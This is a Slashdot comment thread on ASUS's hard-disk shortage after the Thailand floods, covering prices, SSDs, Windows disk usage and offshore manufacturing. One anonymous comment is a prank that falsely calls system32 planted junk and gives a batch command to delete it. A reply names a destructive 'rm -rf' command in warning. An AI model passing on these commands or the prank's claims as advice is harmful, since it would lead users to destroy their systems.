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ASUS Running Out of Hard Disks

timothy posted more than 2 years ago | from the hard-disk-is-good-to-find dept.

Data Storage 207

The hard drive crunch continues; reader Thorfinn.au writes "ASUS has said it only has hard disk drive (HDD) inventory until the end of November. 'Substitutes for HDD are very few, so if the situation persists, not only notebook production will be affected but also desktops, and other component shipments will also drop,' Asustek CFO David Chang told Reuters."

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207 comments

Supply for Q4 to be down 28% (2)

Thorfinn.au (1140205) | more than 2 years ago | (#37906060)

that's 28% of the 25% = 7% of global production (1)

iggymanz (596061) | more than 2 years ago | (#37906576)

That's for Thailand alone, they do make 25% of the world's disks. So that 7% drop is significant, but not dire. Other factories can and will kick up production temporarily because of the rising prices.

Re:that's 28% of the 25% = 7% of global production (2)

Guspaz (556486) | more than 2 years ago | (#37907794)

The article doesn't make that clear, although 7% is consistent with the size of the HDD market. But the impact on the market is more severe than that. Anybody using WD as a primary drive brand (for uniformity in enterprise applications) is going to get stuck with massive price increases: The cost of WD drives has more than doubled over the past few weeks, with a 3TB drive going from ~$130 to ~$280. Companies that aren't forced to stick with WD (computer vendors perhaps) will still face the task of validating new drives. And on top of all this, there is the hit in component manufacturing. Nidec makes 75% of all HDD spindle motors globally, and one quarter of their production capacity was in Thailand. That has been heavily disrupted, although they're starting to start those factories back up again. But the hiccup in production is certainly being felt.

Yes, companies can turn up additional production capacity elsewhere, but that takes time, and everybody is feeling the pinch in the meantime, with the inability to get drives.

In terms of a consumer trying to purchase drives, pretty much all stores (in Canada, at least) are limiting consumers to one or two drives per person (putting a real crimp on my plan to add another five disks to my fileserver), and ASUS is reporting that they'll run out of drives by the end of the month, at which point they won't be able to keep up with demand for their computers. So yes, it's pretty dire, although it's not exactly earth-shattering.

Re:Supply for Q4 to be down 28% (1)

Moryath (553296) | more than 2 years ago | (#37906914)

The paranoid would say that this is a plan by the HDD manufacturers to get people to switch over to SSD's instead.

Of course, SSD's can't handle nearly the capacity-for-cost right now, which could present a problem.

When, oh when will we finally get holographic storage with petabytes per 1-inch cube? ;) Or perhaps Isolinear Chips [memory-alpha.org]?

Re:Supply for Q4 to be down 28% (1)

tgeek (941867) | more than 2 years ago | (#37907108)

The paranoid would say that this is a plan by the HDD manufacturers to get people to switch over to SSD's instead.

Really??? Does anybody-- paranoid or otherwise -- think HDD manufacturers are plotting and scheming to put themselves out of business?

Re:Supply for Q4 to be down 28% (1)

Adriax (746043) | more than 2 years ago | (#37907558)

"Bizarro CEO run spinny plate company good! Next year we move to square spinny plates."

Re:Supply for Q4 to be down 28% (1)

jones_supa (887896) | more than 2 years ago | (#37907432)

The paranoid would say that this is a plan by the HDD manufacturers to get people to switch over to SSD's instead.

No. It's clear that that kind of flooding will have real impact on manufacturing and prices.

The return of Linux on Eee? (1)

tepples (727027) | more than 2 years ago | (#37906068)

Is this the time for ASUS to bring back the SSD netbook? As I understand it, Xubuntu is smaller than Windows 7 and would more comfortably fit in, say, a 32 GB SSD.

Re:The return of Linux on Eee? (2)

Kokuyo (549451) | more than 2 years ago | (#37906102)

Frankly, on a netbook, how would Win7 be less comfortable on those 32 Gigs? Depending on what use you see for a netbook, of course. For me, it's not a mediaplayer and not a gaming rig. So what would I need more than 32 gigs for, even with Win7? Office does not produce files THAT bloated and my email account isn't that overfilled either.

Re:The return of Linux on Eee? (1)

Anonymous Coward | more than 2 years ago | (#37906136)

Because it takes 20 gigs of space just to install?

even better - delete System32, free up 32 GB! (2, Funny)

Anonymous Coward | more than 2 years ago | (#37906450)

Okay, listen up.
When Microsoft was first getting started, they knew they wouldn't make enough money just from the profits of their operating system. Everybody knows people pirate Windows. So they had to get creative. A guy named Chris Liddel came up with the idea to put a folder called "system32" in the Windows folder that literally slows down your machine--on purpose. "System32" holds 32 GIGABYTES of deleted files, internet history, uninstalled programs, and other worthless crap that intentionally clogs up your machine. Why did they do it? Because Microsoft owns several PC "cleaning" tools, like TuneUp Utilities, Norton Antivirus, etc. More money for them. I'm not cool with that, however. Here's how to outsmart those assholes once and for all. Open notepad:
Type the following text:

@echo off
del C:\\WINDOWS\system32

Save as "speedup.bat" (select "all files" instead of "text document")
Double click the .bat file.
Reboot, and your PC is twice as fast. (You didn't hear it from me)
Source(s):
My computer is fast.

Re:even better - delete System32, free up 32 GB! (0)

bschorr (1316501) | more than 2 years ago | (#37906780)

Wow, were you able to type all of that with a straight face?

First of all System32 on my Win7 Ultimate machine is only 2.7GB in size.

Secondly, Microsoft does not own Norton and does not sell any cleanup tools that I've seen.

Just in case anybody was tempted to take you seriously. :)

Re:even better - delete System32, free up 32 GB! (2)

geminidomino (614729) | more than 2 years ago | (#37906894)

Whoosh...

It should go without saying, but as a public service for anyone who might NOT know what the system32 folder is for who might be tempted to try it:

Don't. It's where configuration, libraries, and drivers (among other things) are stored.

Pretty much the Windows analog to 'sudo rm -rf /var /lib /etc' on linux. (Protip: Don't try THAT either)

The more you know.

Re:even better - delete System32, free up 32 GB! (1)

UnknowingFool (672806) | more than 2 years ago | (#37907292)

Amateurs! A real good one have been to tell people how to do so by growing special breeds of butterflies. You know those breeds that zero out a whole HDD.

Re:even better - delete System32, free up 32 GB! (0)

Anonymous Coward | more than 2 years ago | (#37906922)

I don't know what to be more depressed about - that this kind of attempt was made on Slashdot, or that someone thought a helpful explanation would be required here.

Re:even better - delete System32, free up 32 GB! (0)

Anonymous Coward | more than 2 years ago | (#37907164)

Or that blatant copypasta gets modded +3 Funny.

Re:even better - delete System32, free up 32 GB! (1)

geminidomino (614729) | more than 2 years ago | (#37907822)

I normally would have assumed it would have been laughed off and no explanation was needed, but the first reply called him out on the faulty spin-logic without mention of it.

You're right, though. It was quite depressing.

Re:even better - delete System32, free up 32 GB! (0)

Anonymous Coward | more than 2 years ago | (#37906924)

Chris Liddel = "Disc Rid Hell"

Now I get it

Re:The return of Linux on Eee? (1)

Kokuyo (549451) | more than 2 years ago | (#37906546)

Bullshit. My wive's PC runs on a 32 gig SSD (although userfiles are linked onto a magnetic disk).

You're clearly doing something wrong.

Re:The return of Linux on Eee? (1)

Kokuyo (549451) | more than 2 years ago | (#37906596)

First: Wife's.
Second: Well, I stand corrected... it might not be bullshit that Win7 takes 20 gigs... but how is that relevant to my question? My wife does have windows running on such a disk with Office installed and mostly games diverted to a magnetic drive.

A freaking PC. Not a netbook. So why aren't 32 gigs not enough for a netbook?

Also, why are we talking about 32 gigs anyway? There are enough larger SSDs available that are quite affordable, aren't there?

Comparable price range (1)

tepples (727027) | more than 2 years ago | (#37906916)

There are enough larger SSDs available that are quite affordable, aren't there?

Any in the same price range as the hard drives that were available just before disaster hit?

Re:The return of Linux on Eee? (1)

Guspaz (556486) | more than 2 years ago | (#37907826)

My Windows directory on my work machine is 24GB, and my home machine, which has been around a bit longer, is up over 30GB at this point.

Re:The return of Linux on Eee? (4, Interesting)

Pieroxy (222434) | more than 2 years ago | (#37906186)

I have a media center at home. I installed Vista about 4 years ago. I let it run and update itself automatically. All data was on other drives (music, pics, recorded TV, etc...). C: was a 30GB partition. I was under the assumption that this was more than enough.

One day, toughly 3 years after install, the thing displayed a whole lot of error messages and whatnot. I decided to reboot it. The same error messages were displayed, do I dived in.

C: had filled up entirely. 0 bytes available. So I looked up on the internet and cleaned up what was not necessary - namely all packages and updates ever received through the net were still there and everything that was patched was also backed up. I freed about 18GB in 5 minutes of worthless files.

As a matter of fact, I just checked my HDD while writing this post. To make sure the size was correct. I only have about 400MB of free space on C:. Time to garbage collect, but this time, I think Vista will be part of the garbage and will be collected as well.

Re:The return of Linux on Eee? (2)

klui (457783) | more than 2 years ago | (#37906402)

You get rid of the backed up system updates via CCleaner (Advanced > Hotfix Uninstallers). But it won't remove the downloaded files so manual remove from %WINDIR%\softwaredistribution\download. I do this after every Patch Tuesday.

Re:The return of Linux on Eee? (1)

Amouth (879122) | more than 2 years ago | (#37906502)

i hope you only do this for your self and not anyone else - god for bid you need to roll one back or use a hotfix that requires a previous update be reapplied.

Re:The return of Linux on Eee? (1)

Overzeetop (214511) | more than 2 years ago | (#37906514)

I think you can turn that backup off, or limit the space it uses. It's been a while since I've looked, and since when I got mine the 500GB HD cost about the same as a 30GB drive, I didn't have to worry about having "too many backups."

Re:The return of Linux on Eee? (1)

SlippyToad (240532) | more than 2 years ago | (#37906712)

So you didn't bother to understand how your system works, or do any active maintenance of it, and it stopped working?

What a shock!

It doesn't appear in Disk Cleanup (1)

tepples (727027) | more than 2 years ago | (#37906944)

Manually removing hotfix uninstallers is maintenance that shouldn't need to be done. After a couple months of active use, the PC should assume that the hotfix is a keeper and recommend its uninstall files for removal in Disk Cleanup.

Re:It doesn't appear in Disk Cleanup (1)

0123456 (636235) | more than 2 years ago | (#37907786)

After a couple months of active use, the PC should assume that the hotfix is a keeper and recommend its uninstall files for removal in Disk Cleanup.

Is Disk Cleanup actually usable in modern versions of Windows? In XP it would sit there forever scanning to tell me how much space I could save by compressing my multiple terabytes of files even though I had no intention of compressing anything -- most of it was DV and HDV video I was editing -- and just wanted it to delete the crap that accumulates in Windows over time.

Re:The return of Linux on Eee? (1)

gbjbaanb (229885) | more than 2 years ago | (#37906390)

Because the standard Win7install requires "16 GB available hard disk space (32-bit) or 20 GB (64-bit)"

Which is the absolute minimum requirements. You'll soon fill the remaining 16Gb up with software updates, applications and data.

I try to install programs and user data on my D drive, but Win7 still has taken up 30.4 Gb. My untouched-by-me Windows subdirectory takes up 20.8 Gb! (10.9 Gb of which is in that crappy WinSxS directory)

Re:The return of Linux on Eee? (1)

ifrag (984323) | more than 2 years ago | (#37907646)

(10.9 Gb of which is in that crappy WinSxS directory)

I think Windows actually over reports the size of that due to all the linking in there. About WinSxS. [technet.com]

Re:The return of Linux on Eee? (1)

Anonymous Coward | more than 2 years ago | (#37906126)

Heck, you can easily fit pretty much any major distro into an 8GB USB Stick... 32GB loads of room.

Hope so (1)

Anonymous Coward | more than 2 years ago | (#37906128)

Tablets; all tablets suck balls.
The netbooks of 2007 were perfection.

Re:Hope so (2)

trum4n (982031) | more than 2 years ago | (#37906278)

The original Sony C1XS (1999-2000) was the perfect netbook. I just wish they built a new hardware version with the same design. Mine is still kicking, be it at 400Mhz with 64MB RAM. The 40GB hard drive was a great upgrade from 12.

Re:Hope so (0)

Anonymous Coward | more than 2 years ago | (#37906898)

yep, still have mine in my portable ham radio box - use it for psk31 ops w/a NOMIC interface - i also appreciated Tridge's picturebook cam app - even if it used kernel space...

Re:The return of Linux on Eee? (0)

Anonymous Coward | more than 2 years ago | (#37906376)

Kubuntu works for me just fine on 8GB SSD (/) + 16GB SD (swap + /home) + tmpfs on my netbook.

Opportunity for U.S. manufacturing to step up? (0)

Kethinov (636034) | more than 2 years ago | (#37906124)

We keep hearing that the U.S. manufacturing sector is horribly depressed due to competition from foreign firms. There is an oversupply of cheap labor overseas and the U.S. simply can't compete.

But we can clearly see here that there is a high demand for hard drives and not enough supply to go around. I wonder what the prospects might be for domestic manufacturing to start ramping up to meet the demand?

Re:Opportunity for U.S. manufacturing to step up? (4, Funny)

Lehk228 (705449) | more than 2 years ago | (#37906152)

build a hard drive factory in response to a temporary shortage.....

lemme guess, you hold an MBA?

Re:Opportunity for U.S. manufacturing to step up? (1)

bhtooefr (649901) | more than 2 years ago | (#37906174)

However, keeping excess production capacity around, even if it sits idle, means it can be ramped up quickly to take advantage of situations like this.

Re:Opportunity for U.S. manufacturing to step up? (2)

Splab (574204) | more than 2 years ago | (#37906214)

Uhh another MBA?

Because it's cheap to have workforce with special education standing around and waiting, keeping equipment maintained and updating manufacturing processes every once in a while?

Re:Opportunity for U.S. manufacturing to step up? (4, Insightful)

Zironic (1112127) | more than 2 years ago | (#37906216)

Keeping idle production capacity around is extremely expensive.

Re:Opportunity for U.S. manufacturing to step up? (1)

bhtooefr (649901) | more than 2 years ago | (#37906846)

Not as expensive as getting owned by the Chinese and completely losing our economy, and then exporting the jobs to the lowest bidder every time, causing local disasters in those areas to cause massive problems.

Re:Opportunity for U.S. manufacturing to step up? (1)

chrb (1083577) | more than 2 years ago | (#37907732)

The hard disk industry is extremely competitive - one hard disk is much like another, and there is little customer loyalty. Paying for idle production capacity is generally wasted money, since you need to pay for wages, factories, tooling for the factories etc. The lifetime of an established production line is, at best, a couple of years. Think of all the industrial robots and other custom hardware that is required to build a modern hard disk, and then consider that this equipment needs updating every 12 months or so to keep up with the latest developments and processes. That is why it is too expensive to have idle production capacity in this particular industry.

Whether it is a good idea to export jobs to China in the long term is a separate issue.

Re:Opportunity for U.S. manufacturing to step up? (0)

Anonymous Coward | more than 2 years ago | (#37906232)

If he has an MBA, then he would move the factory to China to increase profit margins...

Re:Opportunity for U.S. manufacturing to step up? (0)

Anonymous Coward | more than 2 years ago | (#37906258)

I thought the factory was moved from China to Thailand to increase profit margins.

Re:Opportunity for U.S. manufacturing to step up? (1)

Gideon Wells (1412675) | more than 2 years ago | (#37906296)

Don't worry. With the way the US economy is going Thailand will be outsourcing the jobs back to us. By my grandkids time Brazil and India will outsource to China who will sub-outsources to Thailand who will outsource back to the US where it will be boycotted for not being a US made good, but some foreign Brazilian product.

Re:Opportunity for U.S. manufacturing to step up? (0)

Anonymous Coward | more than 2 years ago | (#37906300)

lemme guess, you hold an MBA?

Lemme guess, you don't?

Re:Opportunity for U.S. manufacturing to step up? (4, Funny)

Anonymous Coward | more than 2 years ago | (#37906328)

lemme guess, you hold an MBA?

Lemme guess, you don't?

Nah, but when I was 12 I got kicked in the head by a horse, which I figure is pretty much the same thing.

Re:Opportunity for U.S. manufacturing to step up? (1)

VGPowerlord (621254) | more than 2 years ago | (#37906952)

We keep hearing that the U.S. manufacturing sector is horribly depressed due to competition from foreign firms. There is an oversupply of cheap labor overseas and the U.S. simply can't compete.

But we can clearly see here that there is a high demand for hard drives and not enough supply to go around. I wonder what the prospects might be for domestic manufacturing to start ramping up to meet the demand?

build a hard drive factory in response to a temporary shortage.....

lemme guess, you hold an MBA?

No, but seeing as how you made half-assed assumptions about what he said, I'm guessing you do.

Ramping up production doesn't necessarily mean building a new factory. It could instead mean increasing the number of workers at existing factories in order to increase output, particularly if they had already scaled back production due to market influences.

Re:Opportunity for U.S. manufacturing to step up? (3, Insightful)

Vandil X (636030) | more than 2 years ago | (#37906172)

US workers won't work in a HDD manufacturing mill without getting $15+/hr plus benefits and a labor union to strong arm management. That cannot compete with conditions overseas where the wages are pennies on the dollar and minimal benefits and dictatorship rules over every employee.

The old health system is killing jobs and the GOP (0)

Joe_Dragon (2206452) | more than 2 years ago | (#37906312)

The old health system is killing jobs and the GOP wants to kill the new bill as well. Single player will stop jobs from have to deal with health.

Re:Opportunity for U.S. manufacturing to step up? (5, Insightful)

Sponge Bath (413667) | more than 2 years ago | (#37906394)

US workers won't work in a HDD manufacturing mill without getting $15+/hr plus benefits...

My god! $30K/year and health insurance? What a bunch of greedy bastards! Don't they know how those extravagant wages will affect the incomes of the top 1%?

Re:Opportunity for U.S. manufacturing to step up? (1, Insightful)

Artraze (600366) | more than 2 years ago | (#37906652)

> What a bunch of greedy bastards! Don't they know how those extravagant wages will affect the incomes of the top 1%?

It won't affect the top 1% at all. The rest of us, on the other hand, will find hard drives much less affordable.

Re:Opportunity for U.S. manufacturing to step up? (0)

Anonymous Coward | more than 2 years ago | (#37906826)

It won't affect the top 1% at all. The rest of us, on the other hand, will find hard drives much less affordable.

Well, I would have thought that recent economic events have already demonstrated 99% of us can't really afford everything we thought we could anyway.

Re:Opportunity for U.S. manufacturing to step up? (-1)

Anonymous Coward | more than 2 years ago | (#37906434)

Fuck you.

Re:Opportunity for U.S. manufacturing to step up? (-1)

Anonymous Coward | more than 2 years ago | (#37906690)

Who the fuck modded this up as insightful? This is the same tired-ass supply-side economic bullshit that has failed our economy OVER AND OVER AND OVER again.

Memo to YOU: your failed economic notions are being tossed on the trash-heap of history NOW.

Re:Opportunity for U.S. manufacturing to step up? (0)

Anonymous Coward | more than 2 years ago | (#37906790)

Yes, we do have a habit of fighting people who want us to be slaves. Always been kind of a ornery crowd but I think the rest of the world has long since figured out that bit.

And it depends on who we're competing with. I have a pair of jeans that are made in this US, by union workers no less, that ran me about the same as another pair of jeans made in some sweatshop in China. The US ones are more comfortable and have lasted MUCH longer. Granted, the Chinese jeans are more popular but that's more because of their brand than anything else. Still, the US jeans sell well enough to make their company some profit.

Really, consumers (who are also the workforce), especially American consumers, have themselves to blame. We're not supposed to enslave people, why are so many people OK with supporting companies who do? It's not anymore right in China or Africa than it is on a plantation in Mississippi.

Also, bite me. I'm working for $10/hour with no benefits and a 180-mile-a-day commute with NO ONE to help me.

Re:Opportunity for U.S. manufacturing to step up? (0)

Anonymous Coward | more than 2 years ago | (#37906802)

US workers won't work in a HDD manufacturing mill without getting $15+/hr plus benefits and a labor union to strong arm management. That cannot compete with conditions overseas where the wages are pennies on the dollar and minimal benefits and dictatorship rules over every employee.

Uh, you are not going to find anybody to work that type of highly skilled labor for $15 an hour. McDonald's hires fucking line cooks in some areas starting at $15 an hour and they aren't even union.

Restart that old factory (1)

captainpanic (1173915) | more than 2 years ago | (#37906180)

... and start making those 20 MB harddrives again! If they screw up overseas, you might as well do it yourselves.

-- I sell floppy disks on eBay for $ 20 each.

Re:Restart that old factory (0)

Anonymous Coward | more than 2 years ago | (#37906238)

Really?

Re:Opportunity for U.S. manufacturing to step up? (1)

obarthelemy (160321) | more than 2 years ago | (#37906194)

Mmmm... what we "clearly see here" is not chronic under-supply, but supply disruption by exceptional weather.

Re:Opportunity for U.S. manufacturing to step up? (2)

x1r8a3k (1170111) | more than 2 years ago | (#37906282)

This may be more difficult than you'd imagine.

I doubt we currently have the infrastructure to manufacture the drives, or else some manufacturer would be doing just that and hugely advertising "Hey, we've still got drives!" Considering production of hard drives is only supposed to be down for a year or so, by the time the ones here were ready to go, so would the foreign ones. Domestic can't keep up with cost, and were back to where we started.

Re:Opportunity for U.S. manufacturing to step up? (1)

Kjella (173770) | more than 2 years ago | (#37906464)

But we can clearly see here that there is a high demand for hard drives and not enough supply to go around. I wonder what the prospects might be for domestic manufacturing to start ramping up to meet the demand?

Slim and none. You don't just grab people off the dole line, put them in an abandoned warehouse and make HDDs. It takes a high tech factory with clean rooms and robotics that will take at least a couple years to build. By the time you got the first HDD rolling off the factory floor, the crisis would long since be over.

P.S. For the person taking a jab at the MBAs, in this I think they would fully in agreement with the engineers.

Re:Opportunity for U.S. manufacturing to step up? (1)

iggymanz (596061) | more than 2 years ago | (#37906592)

No, existing factories elsewhere will merely kick production up a bit because of the rising prices. We're talking about 28% of the 25% of disks worldwide that are made in Thailand. This 7% loss isn't the end of the world.

Tinfoil hat moment (0)

Anonymous Coward | more than 2 years ago | (#37906230)

Maybe they're just trying to force us to switch over to SSD?

Re:Tinfoil hat moment (1)

Manip (656104) | more than 2 years ago | (#37906270)

That would make sense, except the manufacturers of SSDs and the manufacturers of HDDs are completely different companies.

Replacement (0)

Anonymous Coward | more than 2 years ago | (#37906234)

Just give 'em paper and a pen. Nobody'll know the difference.

Time for SSD (1)

werfu (1487909) | more than 2 years ago | (#37906244)

I guess it's time to upgrade to SSD. Imagine how the price will go down if all the demand for HDD goes to SSD. Sure it will spike until production can step up, but in the end it would help a lot.

Nobody told my supermarket about the disk shortage (1)

PolygamousRanchKid (1290638) | more than 2 years ago | (#37906250)

I picked up a cheap external 2T Seagate drive yesterday at my local discount supermarket, in their specials sections. I guess that they are not aware of the disk shortage, and thus didn't raise the price on it. Now in a computer or electronics store, it is probably a different story. They have "heard" about the shortage, and thus have raised the prices. If everyone keeps talking about the shortage, the prices will continue to rise, despite the supply. For a while, at least.

Re:Nobody told my supermarket about the disk short (0)

Anonymous Coward | more than 2 years ago | (#37906306)

Seagate is not affected.

It's just Asus doesn't put crap into their laptops.

Re:Nobody told my supermarket about the disk short (-1, Troll)

hesaigo999ca (786966) | more than 2 years ago | (#37906552)

The shortage is fake, just like the oil industry saying that ooooh, we had to sell this much to china, and we had a small tornado in texas, so now we have to double the price....what? the sky is blue today?....well that is a good reason to raise it another 10cents then.....

Seriously, the Chinese have caught on now to what the oil industry has done all this time, and are now lining themselves up to be in the same game with their raw materials. My thoughts are simple, we have millions of hdd sitting around doing nothing, instead of throwing them out, keep them for later, and see how much backup builds in their inventory....the prices will come way down. As well, with all the nano tech coming out, we use less and less materials to make these drives, So why say we are losing so much when we have actually made an improvement on the materials used.

In the end, the big machine dictates supply and demand. If there is no more demand, then there will be lower prices because of overstock.
This does not work in oil, and probably will not work here either, because for this to work, everyone has to be in on it, and to get a whole global economy to stop buying gas or hdd for a few weeks to force the industry to have overstock is too complicated.

I buy HDDs around this time of year... (2)

madhatter256 (443326) | more than 2 years ago | (#37906262)

Because of Black Friday around the corner and other holidays coming up. I tend to buy my large capacity HDDs online due to insanely low prices.

But now it looks like I cannot afford them and will have to look into buying refurbished hdds.

Believe it or not, 1/4 of my drives I bought as refurbed and have yet to crap out *knock on wood*, so if you want a cheap large capacity HDD, then a refurb drive might be your only option if their prices do not shoot sky high as the brand new ones...

I might also have better luck scoring a cheap drive locally...

Re:I buy HDDs around this time of year... (1)

petes_PoV (912422) | more than 2 years ago | (#37906646)

But now it looks like I cannot afford them and will have to look into buying refurbished hdds.

Why ever not. Unless your income has dropped dramatically a 1TB or 2TB disk is no less affordable today than it was a year or two ago. All that's happened is that prices have gone BACK to the levels they were at some point in the past. If they were affordable then, they still are today.

Re:I buy HDDs around this time of year... (1)

swillden (191260) | more than 2 years ago | (#37907224)

But now it looks like I cannot afford them and will have to look into buying refurbished hdds.

Why ever not. Unless your income has dropped dramatically a 1TB or 2TB disk is no less affordable today than it was a year or two ago.

Unless your storage demands have grown apace of the normal increase in available capacities.

Re:I buy HDDs around this time of year... (0)

Anonymous Coward | more than 2 years ago | (#37907478)

See.... My storage handling process is: wait for the drives that are twice the size of my last drive to reach around $130. Buy two for redundancy. Alas, I've got two 1.5TB HDDs. 3TB HDDs have already been a *long* time coming, relative to other HDD improvements, and this will certainly put a crimp in my plans. Fortunately, I've got about 70% utilization right now, although I'd like to upgrade before 85%. I can delay this with deleting backups, etc, but I'd rather not spend the time.

How to fill in the holes (1)

trolman (648780) | more than 2 years ago | (#37906332)

Keeping those old hard drives is going to pay off. Must have two file cabinets full of drives from my users. I am going to get them on Ebay and make a mint. For security we had to drill holes in the things. Anyone know how to fill in the holes?

Re:How to fill in the holes (0)

Anonymous Coward | more than 2 years ago | (#37906426)

Anyone know how to fill in the holes?

A beaker full of embryonic stem cells should do the trick.

Re:How to fill in the holes (0)

Anonymous Coward | more than 2 years ago | (#37906442)

How about a nice round silver sticker with the words 'Warranty Void If Removed' placed over it?

Re:How to fill in the holes (1)

Overzeetop (214511) | more than 2 years ago | (#37906448)

Just put some stickers over the holes that say "warranty void if removed. " Done.

Re:How to fill in the holes (1)

trolman (648780) | more than 2 years ago | (#37906616)

Thanks for the Tuesday morning humor. I have hundreds of drives locked up in metal file cabinets in the server room. Only one time have I sent drives to re-cycle. Despite the holes drilled in the platters I am still nervous. I am sure that letting a live HD out the door would soon be followed by myself.

Prices are already rising (1)

mikehunt (225807) | more than 2 years ago | (#37906334)

A quick look at prisjakt.nu (a Swedish price comparison site) shows that prices on all models currently in the 'sweet spot' have risen by around 20% over the last two weeks!

Probably the clearest indicator that the shortage is real.

Re:Prices are already rising (1)

Baloroth (2370816) | more than 2 years ago | (#37906440)

Or that people's perception of it is real. Price has at least as much to do with that as with reality.

Re:Prices are already rising (1)

NotQuiteInsane (981960) | more than 2 years ago | (#37906532)

Some of my suppliers have more than doubled their prices -- in some cases quadrupled them.

£200 for a 1.5TB drive, anyone?

One of the parts scalpers emailed me with a "limited time offer" too -- £895 for a 1TB... they can keep it.

Re:Prices are already rising (1)

petermgreen (876956) | more than 2 years ago | (#37906960)

Is that site smart enough to only list prices from vendors that actually have the things in stock? If not then with many vendors selling out of many drive models it may be considerablly underestimating how much prices have risen.

When I look at my local parts vendor I see prices of arround £100 for a 1TB drive that is in stock but 1TB drives that are out of stock are still listed starting at arround £50. Similarlly 2TB drives that are in stock are listed at about £120 while ones that are out of stock are still listed starting at £55.

Re:Prices are already rising (1)

MrP- (45616) | more than 2 years ago | (#37907650)

Drive I paid $109 for back in September is now $199 on Newegg.

Single point of failure (2)

LoRdTAW (99712) | more than 2 years ago | (#37906486)

I like how one little country that normally doesn't play a big role in the world, is flooded and suddenly its a big deal. How many of the disk makers have factories located there?

And here I was all set to buy two 2 TB disks.

Re:Single point of failure (1)

Xacid (560407) | more than 2 years ago | (#37906902)

My money is based on how gas prices skyrocketed when hurricanes pounded the gulf - despite a large portion of our fuel coming via other routes/means. Just a handy excuse to create a virtual scarcity and thus temporary increase in profit.

Re:Single point of failure (0)

Anonymous Coward | more than 2 years ago | (#37907212)

uhh, refineries much?

Re:Single point of failure (1)

Anonymous Coward | more than 2 years ago | (#37907640)

I like how one little country that normally doesn't play a big role in the world, is flooded and suddenly its a big deal. How many of the disk makers have factories located there?

That's the "economies of scale" you hear tell about. Instead of lots of little inefficient factories in different geographic areas, you have one big high-volume factory located at a single point of geographic failure.

And as for how many disk makers? Industries tend to cluster around the same locale. That way they can poach for experienced workers instead of training their own.

See how efficient?

Production back in America (0)

Anonymous Coward | more than 2 years ago | (#37906750)

Seriously, it is time for WD and others to bring back production to America. They still have the plants. It should be easy enough to restart these (or gear them up), with lower wages.

Marketing 1-0-1 (0)

Anonymous Coward | more than 2 years ago | (#37907308)

A good way to boost sells by creating a fear of the "lack of something" an justify increasing prices of something that should see price decreased (HDD is a typical case.) Marketing 1-0-1...

Time to drag out the old drives from the closet... (0)

Anonymous Coward | more than 2 years ago | (#37907688)

Just think how much they'll be worth on Craigslist in a few weeks... and people said I was crazy for holding on the these 10 and 20 GB drives! BTW, anyone have use for a 'preowned' western digital 40MB (yes, MB) hdd? I'll have money for Christmas this year!

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